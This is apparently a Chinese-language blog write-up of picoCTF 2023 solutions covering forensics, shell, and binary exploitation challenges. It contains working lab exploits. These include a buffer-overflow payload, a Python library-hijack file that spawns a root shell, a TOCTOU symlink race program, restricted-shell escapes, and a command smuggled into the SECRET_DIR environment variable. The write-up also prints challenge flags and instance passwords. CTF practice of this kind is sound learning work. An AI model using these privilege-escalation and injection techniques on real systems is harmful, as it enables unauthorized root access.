The SOC analyst saw one image been sent back and forth between two people. They decided to investigate and found out that there was more than what meets the eye here.
100 Points

這題是個簡單的圖片隱寫術,給了一張picoCTF的logo,用一些工具簡單處理一下,可以發現一點端倪。

1
2
3
4
5
6
7
8
9
$ binwalk flag.png

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 512 x 504, 8-bit/color RGBA, non-interlaced
41 0x29 Zlib compressed data, compressed
39739 0x9B3B Zip archive data, at least v1.0 to extract, name: secret/
39804 0x9B7C Zip archive data, at least v2.0 to extract, compressed size: 2869, uncompressed size: 3024, name: secret/flag.png
42908 0xA79C End of Zip archive, footer length: 22

裡面有個zip,用工具解出來之後就能看到flag了。

1
2
3
4
5
$ foremost flag.png
Processing: flag.png
|foundat=secret/UT
foundat=secret/flag.pngUT
*|

PcapPoisoning

AUTHOR: MUBARAK MIKAIL

Description
How about some hide and seek heh?
Download this file and find the flag.
100 Points

這題我也覺得很爛,我用wireshark在那邊分析了pcap半天,也沒分析出什麼東西,還有一堆奇怪的host,結果strings一下就找到了= =

1
2
$ strings trace.pcap | grep pico
picoCTF{P64P_4N4L7S1S_SU55355FUL_31010c46}F~

who is it

AUTHOR: JUNIAS BONOU

Description
Someone just sent you an email claiming to be Google’s co-founder Larry Page but you suspect a scam.
Can you help us identify whose mail server the email actually originated from?
Download the email file here. Flag: picoCTF{FirstnameLastname}
100 Points

這題其實算是個簡單的OSINT,題目給了一個.eml檔,要查出是誰的server寄發了這份郵件。首先先用線上工具分析一下裡面的內容。

可以很清楚的看到他的IP,題目又說whois很好用,那當然是用來試試看囉,打完之後就可以看到我們要的東西了。

1
2
3
4
5
6
7
8
$ whois 173.249.33.206

#
# ARIN WHOIS data and services are subject to the Terms of Use
...

person: Wilhelm Zwalina
...

FindAndOpen

AUTHOR: MUBARAK MIKAIL

Description
Someone might have hidden the password in the trace file.
Find the key to unlock this file. This tracefile might be good to analyze.
100 Points

這題其實也蠻通靈的,一樣是pcap分析不出什麼東西,然後用strings就找到了一個像base64的東西,但輸進去之後卻轉不出來,原因是因為填充位數不對,因此在前面多加幾個字元就能看到secret。

用這個secret就能打開zip獲得完整的flag了。

MSB

AUTHOR: LT ‘SYREAL’ JONES

Description
This image passes LSB statistical analysis, but we can’t help but think there must be something to the visual artifacts present in this image…
Download the image here
200 Points

這題題目都說是MSB了,那當然就是用MSB的方法解囉~stegsolve馬上打開來試試。

結果在RGB全開的情況下獲得了明文,把txt檔載下來之後搜尋pico即可找到flag。

General Skills

CLEAR

這個類別是我第二個破台的類別,今年的General Skills比往年都難,開始有接近一般MISC的感覺了,一起來看看怎麼解這些看似最簡單的題目吧XD

chrono

AUTHOR: MUBARAK MIKAIL

Description
How to automate tasks to run at intervals on linux servers?
Additional details will be available after launching your challenge instance.
100 Points

這題其實應該算是出爛了,ssh連進去之後往根目錄裡面的/challenge/metadata.json就可以找到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ssh picoplayer@saturn.picoctf.net -p 49904
picoplayer@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.0-1031-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu Mar 30 05:11:26 2023 from 114.36.17.55
picoplayer@challenge:~$ cat /challenge/metadata.json
{"flag": "picoCTF{Sch3DUL7NG_T45K3_L1NUX_7754e199}", "username": "picoplayer", "password": "a-8nJGZCTa"}

money-ware

AUTHOR: JUNI19

Description
Flag format: picoCTF{Malwarename}
The first letter of the malware name should be capitalized and the rest lowercase.
Your friend just got hacked and has been asked to pay some bitcoins to 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX. He doesn’t seem to understand what is going on and asks you for advice. Can you identify what malware he’s being a victim of?
100 Points

這題是簡單的OSINT,上網找一下那串奇怪的編碼就能找到那個malware的名字了。

Permissions

AUTHOR: GEOFFREY NJOGU

Description
Can you read files in the root file?
Additional details will be available after launching your challenge instance.
100 Points

這題需要一點通靈,因為我們原本的使用者是picoplayer,所以沒有讀取flag的權限,但我們可以動一點小手腳,像是/bin/sh等,這樣可以讓我們用root權限讀取任何檔案,也就能成功得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ssh -p 55977 picoplayer@saturn.picoctf.net
picoplayer@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.0-1031-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu Mar 30 05:27:26 2023 from 114.36.17.55
picoplayer@challenge:~$ /bin/sh
$ cat /challenge/metadata.json
{"flag": "picoCTF{uS1ng_v1m_3dit0r_021d10ab}", "username": "picoplayer", "password": "dLAqMvm7xv"}

repetitions

AUTHOR: THEONESTE BYAGUTANGAZA

Description
Can you make sense of this file?
Download the file here.
100 Points

這題很明顯是base64編碼,看題目應該是編碼了不少次,所以把他拉到CyberChef裡面試試看多次解碼就可以得到flag了。

P.S. 看起來是被編碼了6次.w.

useless

AUTHOR: LOIC SHEMA

Description
There’s an interesting script in the user’s home directory
Additional details will be available after launching your challenge instance.
100 Points

這題其實我還是搞不懂他到底是在幹嘛,一開始他給了一個sh檔案,看起來是個簡單計算機。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ ssh picoplayer@saturn.picoctf.net -p 64196
picoplayer@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-1031-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Thu Mar 30 07:37:22 2023 from 114.36.17.55
picoplayer@challenge:~$ ls
useless
picoplayer@challenge:~$ cat useless
#!/bin/bash
# Basic mathematical operations via command-line arguments

if [ $# != 3 ]
then
echo "Read the code first"
else
if [[ "$1" == "add" ]]
then
sum=$(( $2 + $3 ))
echo "The Sum is: $sum"

elif [[ "$1" == "sub" ]]
then
sub=$(( $2 - $3 ))
echo "The Substract is: $sub"

elif [[ "$1" == "div" ]]
then
div=$(( $2 / $3 ))
echo "The quotient is: $div"

elif [[ "$1" == "mul" ]]
then
mul=$(( $2 * $3 ))
echo "The product is: $mul"

else
echo "Read the manual"

fi
fi

原本以為是要做Command Injection,但找不到植入點,後來看到他的標籤寫了man,想說隨便打個man的指令,結果就得到flag了= =

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ man useless

useless
useless, — This is a simple calculator script

SYNOPSIS
useless, [add sub mul div] number1 number2

DESCRIPTION
Use the useless, macro to make simple calulations like addition,subtraction, multiplication and division.

Examples
./useless add 1 2
This will add 1 and 2 and return 3

./useless mul 2 3
This will return 6 as a product of 2 and 3

./useless div 6 3
This will return 2 as a quotient of 6 and 3

./useless sub 6 5
This will return 1 as a remainder of substraction of 5 from 6

Authors
This script was designed and developed by Cylab Africa

picoCTF{us3l3ss_ch4ll3ng3_3xpl0it3d_5562}

Special

AUTHOR: LT ‘SYREAL’ JONES

Description
Don’t power users get tired of making spelling mistakes in the shell? Not anymore! Enter Special, the Spell Checked Interface for Affecting Linux. Now, every word is properly spelled and capitalized… automatically and behind-the-scenes! Be the first to test Special in beta, and feel free to tell us all about how Special streamlines every development process that you face. When your co-workers see your amazing shell interface, just tell them: That’s Special (TM)
Start your instance to see connection details.
Additional details will be available after launching your challenge instance.
300 Points

這題是個看似正常的shell,但他會把我們打進去的指令做處理,除了把第一個字大寫之外,還會用其他的英文單字來取代指令,讓我們沒辦法執行正常的指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ ssh -p 50295 ctf-player@saturn.picoctf.net
ctf-player@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.15.0-1031-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu Mar 30 07:54:44 2023 from 127.0.0.1
Special$ ls
Is
sh: 1: Is: not found
Special$ pwd
Pod
sh: 1: Pod: not found

這個時候第一個想到的當然就是用前面用過的/bin/sh等shell來執行,但嘗試了各種shell都被擋下了。

1
2
3
4
5
6
Special$ /bin/sh
Why go back to an inferior shell?
Special$ /bin/bash
Why go back to an inferior shell?
Special$ /bin/zsh
Why go back to an inferior shell?

這個時候就想到了用特殊字元來繞過這個限制,這次嘗試之後發現可行。

1
2
3
Special$ "w"h"o"a"m"i
"w"h"o"a"m"i
ctf-player

那我們用特殊字元來繞過shell的限制就可以了,如下所示,我們成功得到shell的正常執行權限,用前面的方法來取得flag即可。

1
2
3
4
5
6
Special$ \/\b\i\n/////s\h
\/\b\i\n/////s\h
$ ls
blargh
$ cat /challenge/metadata.json
{"flag": "picoCTF{5p311ch3ck_15_7h3_w0r57_6a2763f6}", "password": "af86add3"}

Specialer

AUTHOR: LT ‘SYREAL’ JONES, ET AL.

Description
Reception of Special has been cool to say the least. That’s why we made an exclusive version of Special, called Secure Comprehensive Interface for Affecting Linux Empirically Rad, or just ‘Specialer’. With Specialer, we really tried to remove the distractions from using a shell. Yes, we took out spell checker because of everybody’s complaining. But we think you will be excited about our new, reduced feature set for keeping you focused on what needs it the most. Please start an instance to test your very own copy of Specialer.
Additional details will be available after launching your challenge instance.
400 Points

這題跟上面那題十分類似,差別在於這次改成限制可以執行哪些指令了,在shell裡按兩次tab可以看有哪些指令可以執行:

1
2
3
4
5
6
7
8
9
10
11
12
$ ssh -p 55013 ctf-player@saturn.picoctf.net
ctf-player@saturn.picoctf.net's password:
Specialer$
! bind compopt elif fc if printf shift true while
./ break continue else fg in pushd shopt type {
: builtin coproc enable fi jobs pwd source typeset }
[ caller declare esac for kill read suspend ulimit
[[ case dirs eval function let readarray test umask
]] cd disown exec getopts local readonly then unalias
alias command do exit hash logout return time unset
bash compgen done export help mapfile select times until
bg complete echo false history popd set trap wait

第一個看到的就是echo,他有一個特殊的用法可以用來當作cat使用,用法是echo $(<filename),用這個方法就能讀取檔案了,而且用tab的方法可以觀察在~有三個可疑的資料夾,看起來flag就是在裡面,看看每個檔案的內容就能發現flag了。

1
2
3
4
5
6
7
8
Specialer$ echo ./(tab)
.hushlogin .profile abra/ ala/ sim/
Specialer$ echo ./ala/(tab)
kazam.txt mode.txt
Specialer$ echo $(<./ala/mode.txt)
Yummy! Ice cream!
Specialer$ echo $(<./ala/kazam.txt)
return 0 picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_38f5cc78}

Binary Exploitation

最後是PWN的題目了,這個類別原本以為自己解不出多少,結果沒想到最後解了5/7題,算是有大大的進步,希望以後也可以多多訓練自己的PWN能力:P最好是Reverse跟PWN一起練XD

babygame01

AUTHOR: PALASH OSWAL

Description
Get the flag and reach the exit.
Welcome to BabyGame! Navigate around the map and see what you can find! The game is available to download here. There is no source available, so you’ll have to figure your way around the map. You can connect with it using nc saturn.picoctf.net 61841.
100 Points

歷年來picoCTF的Binary Exploitation第一題都是buffer overflow,今年也不例外,給了一個超級詭異的binary還不給source code,稍微逆向一下可以知道l指令可以改變自己的符號,p可以快速通關,而wasd則可以移動方向。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ nc saturn.picoctf.net 61841

Player position: 4 4
End tile position: 29 89
Player has flag: 0
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
....@.....................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
.........................................................................................X

可以看到我們的flag數量為0,合理的猜想就是利用buffer overflow來改變我們flag的數量,這樣到終點時就可以拿到flag了。經過多次嘗試後,構造以下payload獲得flag:

1
2
3
4
5
$ echo -e $(python3 -c 'print("a"*368 + "p")') | nc saturn.picoctf.net 61841
...
You win!
flage
picoCTF{gamer_m0d3_enabled_0a880baf}

two-sum

AUTHOR: MUBARAK MIKAIL

Description
Can you solve this?
What two positive numbers can make this possible: n1 > n1 + n2 OR n2 > n1 + n2
Enter them here nc saturn.picoctf.net 61849. Source
100 Points

這題應該是這個類別裡最簡單的了,透過題目可以很明顯發現這題需要做的是integer overflow,在C語言裡int最大是2147483647,因此可以很輕易的構造我們的payload,輸入進去就可以得到flag了。

1
2
3
4
5
6
7
$ nc saturn.picoctf.net 61849
n1 > n1 + n2 OR n2 > n1 + n2
What two positive numbers can make this possible:
2147483647 1
You entered 2147483647 and 1
You have an integer overflow
YOUR FLAG IS: picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_fe14e9e9}

hijacking

AUTHOR: THEONESTE BYAGUTANGAZA

Description
Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with.
Through Social engineering, we’ve got the credentials to use on the server. SSH is running on the server.
200 Points

這題是privilege_escalation,常見在python library的濫用,我們可以連進去看看他給了些什麼。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ ssh picoctf@saturn.picoctf.net -p 61768
picoctf@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.0-1031-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu Mar 30 08:40:58 2023 from 114.36.17.55
picoctf@challenge:~$ ls -al
total 16
drwxr-xr-x 1 picoctf picoctf 20 Mar 30 08:40 .
drwxr-xr-x 1 root root 21 Mar 16 02:08 ..
-rw-r--r-- 1 picoctf picoctf 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 picoctf picoctf 3771 Feb 25 2020 .bashrc
drwx------ 2 picoctf picoctf 34 Mar 30 08:40 .cache
-rw-r--r-- 1 picoctf picoctf 807 Feb 25 2020 .profile
-rw-r--r-- 1 root root 375 Mar 16 01:30 .server.py
picoctf@challenge:~$ cat .server.py
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)

有一個.server.py,有root權限,裡面引用了base64、os跟socket三個library,因此我們可以在家目錄構造base64.py,讓.server.py去引用我們所構造的惡意library並執行他,讓我們得到root權限。首先我們要構造base64.py,內容如下:

1
2
import os
os.system('/bin/sh')

這個內容可以讓我們拿到shell,接著用下面的指令去執行.server.py就能拿到shell了。

1
2
3
4
5
6
7
8
9
10
11
12
$ sudo -l
Matching Defaults entries for picoctf on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User picoctf may run the following commands on challenge:
(ALL) /usr/bin/vi
(root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py
picoctf@challenge:~$ sudo -u root /usr/bin/python3 /home/picoctf/.server.py
# ls
__pycache__ base64.py
# cat /challenge/metadata.json
{"flag": "picoCTF{pYth0nn_libraryH!j@CK!n9_6924176e}", "username": "picoctf", "password": "rZSsB--vJK"}

tic-tac

AUTHOR: JUNIAS BONOU

Description
Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it.
Additional details will be available after launching your challenge instance.
200 Points

這題從標籤來看是toctou attack的題目,主要的內容是讓兩個檔案來搶連結到root權限的東西,這樣我們就有機會讀取到原本只有root可以讀取的檔案。先連進去看看有什麼東西。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
$ ssh ctf-player@saturn.picoctf.net -p 63641
ctf-player@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.15.0-1031-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu Mar 30 08:56:23 2023 from 127.0.0.1
ctf-player@pico-chall$ ls -al
total 32
drwxr-xr-x 1 ctf-player ctf-player 20 Mar 30 08:56 .
drwxr-xr-x 1 root root 24 Mar 16 02:27 ..
drwx------ 2 ctf-player ctf-player 34 Mar 30 08:56 .cache
-rw-r--r-- 1 root root 67 Mar 16 02:28 .profile
-rw------- 1 root root 32 Mar 16 02:28 flag.txt
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp
-rwsr-xr-x 1 root root 19016 Mar 16 02:28 txtreader
ctf-player@pico-chall$ cat src.cpp
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>

int main(int argc, char *argv[]) {
if (argc != 2) {
std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
return 1;
}

std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;

// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
}

// Check the file's owner.
if (statbuf.st_uid != getuid()) {
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
}

// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}

return 0;
}
ctf-player@pico-chall$ ./txtreader flag.txt
Error: you don't own this file

裡面有一個txtreader,是個toctou attack常見的東西,要進行toctou,首先我們需要構造一個搶權限用的檔案。

1
ctf-player@pico-chall$ touch asd

接著我們利用ln指令將flag.txt軟連結到另一個檔案上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ctf-player@pico-chall$ ln -s flag.txt flag
ctf-player@pico-chall$ ls -alh
total 56K
drwxr-xr-x 1 ctf-player ctf-player 72 Mar 30 09:19 .
drwxr-xr-x 1 root root 24 Mar 16 02:27 ..
drwx------ 2 ctf-player ctf-player 34 Mar 30 09:18 .cache
drwxrwxr-x 3 ctf-player ctf-player 19 Mar 30 09:18 .local
-rw-r--r-- 1 root root 67 Mar 16 02:28 .profile
lrwxrwxrwx 1 ctf-player ctf-player 8 Mar 30 09:19 flag -> flag.txt
-rw------- 1 root root 32 Mar 16 02:28 flag.txt
-rwxrwxr-x 1 ctf-player ctf-player 17K Mar 30 09:18 race
-rw-rw-r-- 1 ctf-player ctf-player 295 Mar 30 09:18 race.c
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp
-rwsr-xr-x 1 root root 19K Mar 16 02:28 txtreader
ctf-player@pico-chall$ ./txtreader flag
Error: you don't own this file

可以發現現在讀取flag已經等於讀取flag.txt了,但我們依然沒有權限。接著我參考了這裡的攻擊碼,把他在server裡面編譯成race可執行檔。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

int main(int argc, char *argv[]) {
while (1) {
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
}
return 0;
}
//gcc race.c -o race

這個時候我們已經具備了我們所需要的條件,執行以下指令讓攻擊碼跑起來。

1
ctf-player@pico-chall$ ./race asd flag

我們開啟另一個視窗去觀察軟連結的狀態:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
ctf-player@pico-chall$ ls -alh
total 56K
drwxr-xr-x 1 ctf-player ctf-player 83 Mar 30 09:20 .
drwxr-xr-x 1 root root 24 Mar 16 02:27 ..
drwx------ 2 ctf-player ctf-player 34 Mar 30 09:18 .cache
drwxrwxr-x 3 ctf-player ctf-player 19 Mar 30 09:18 .local
-rw-r--r-- 1 root root 67 Mar 16 02:28 .profile
lrwxrwxrwx 1 ctf-player ctf-player 8 Mar 30 09:19 asd -> flag.txt
-rw-rw-r-- 1 ctf-player ctf-player 0 Mar 30 09:19 flag
-rw------- 1 root root 32 Mar 16 02:28 flag.txt
-rwxrwxr-x 1 ctf-player ctf-player 17K Mar 30 09:18 race
-rw-rw-r-- 1 ctf-player ctf-player 295 Mar 30 09:18 race.c
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp
-rwsr-xr-x 1 root root 19K Mar 16 02:28 txtreader
ctf-player@pico-chall$ ls -alh
ls: cannot read symbolic link 'flag': Invalid argument
ls: cannot read symbolic link 'asd': Invalid argument
total 56K
drwxr-xr-x 1 ctf-player ctf-player 83 Mar 30 09:20 .
drwxr-xr-x 1 root root 24 Mar 16 02:27 ..
drwx------ 2 ctf-player ctf-player 34 Mar 30 09:18 .cache
drwxrwxr-x 3 ctf-player ctf-player 19 Mar 30 09:18 .local
-rw-r--r-- 1 root root 67 Mar 16 02:28 .profile
lrwxrwxrwx 1 ctf-player ctf-player 8 Mar 30 09:19 asd
lrwxrwxrwx 1 ctf-player ctf-player 8 Mar 30 09:19 flag
-rw------- 1 root root 32 Mar 16 02:28 flag.txt
-rwxrwxr-x 1 ctf-player ctf-player 17K Mar 30 09:18 race
-rw-rw-r-- 1 ctf-player ctf-player 295 Mar 30 09:18 race.c
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp
-rwsr-xr-x 1 root root 19K Mar 16 02:28 txtreader
ctf-player@pico-chall$ ls -alh
total 56K
drwxr-xr-x 1 ctf-player ctf-player 83 Mar 30 09:20 .
drwxr-xr-x 1 root root 24 Mar 16 02:27 ..
drwx------ 2 ctf-player ctf-player 34 Mar 30 09:18 .cache
drwxrwxr-x 3 ctf-player ctf-player 19 Mar 30 09:18 .local
-rw-r--r-- 1 root root 67 Mar 16 02:28 .profile
-rw-rw-r-- 1 ctf-player ctf-player 0 Mar 30 09:19 asd
lrwxrwxrwx 1 ctf-player ctf-player 8 Mar 30 09:19 flag -> flag.txt
-rw------- 1 root root 32 Mar 16 02:28 flag.txt
-rwxrwxr-x 1 ctf-player ctf-player 17K Mar 30 09:18 race
-rw-rw-r-- 1 ctf-player ctf-player 295 Mar 30 09:18 race.c
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp
-rwsr-xr-x 1 root root 19K Mar 16 02:28 txtreader

可以發現他的指向一直在改變,那我們用txtreaderflag,就有$\dfrac{1}{2}$的機率可以讀到flag.txt的內容,如下所示:

1
2
3
ctf-player@pico-chall$ ./txtreader flag
ctf-player@pico-chall$ ./txtreader flag
picoCTF{ToctoU_!s_3a5y_f482a247}

VNE

AUTHOR: JUNIAS BONOU

Description
We’ve got a binary that can list directories as root, try it out !!
200 Points

這題標籤上面寫著env、injection,看來是跟injection有關的題目,一樣進去看看他有什麼東西可以利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ssh ctf-player@saturn.picoctf.net -p 54891
ctf-player@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.15.0-1031-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu Mar 30 09:56:09 2023 from 127.0.0.1
ctf-player@pico-chall$ ls -al
total 28
drwxr-xr-x 1 ctf-player ctf-player 41 Mar 30 09:56 .
drwxr-xr-x 1 root root 24 Mar 16 01:59 ..
-rw------- 1 ctf-player ctf-player 21 Mar 30 09:56 .bash_history
drwx------ 2 ctf-player ctf-player 34 Mar 30 09:56 .cache
-rw-r--r-- 1 root root 67 Mar 16 01:59 .profile
-rwsr-xr-x 1 root root 18752 Mar 16 01:59 bin
ctf-player@pico-chall$ ./bin
Error: SECRET_DIR environment variable is not set

執行的時候說SECRET_DIR沒有設定,看起來應該是要設定路徑的名稱,馬上來試試看。

1
2
3
4
5
ctf-player@pico-chall$ export SECRET_DIR=/
ctf-player@pico-chall$ ./bin
Listing the content of / as root:
bin challenge etc lib lib64 media opt root sbin sys usr
boot dev home lib32 libx32 mnt proc run srv tmp var

看起來是個用root權限執行ls的檔案,但我們要讀取的話怎麼辦呢?他的指令看起來是類似於ls <SECRET_DIR>的結構,因此我們只要在SECRET_DIR裡面動手腳,或許就能讀取東西了,如下所示,成功獲得flag:

1
2
3
4
5
6
ctf-player@pico-chall$ export SECRET_DIR="/;cat /challenge/metadata.json"
ctf-player@pico-chall$ ./bin
Listing the content of /;cat /challenge/metadata.json as root:
bin challenge etc lib lib64 media opt root sbin sys usr
boot dev home lib32 libx32 mnt proc run srv tmp var
{"flag": "picoCTF{Power_t0_man!pul4t3_3nv_1670f174}", "password": "3f39b042"}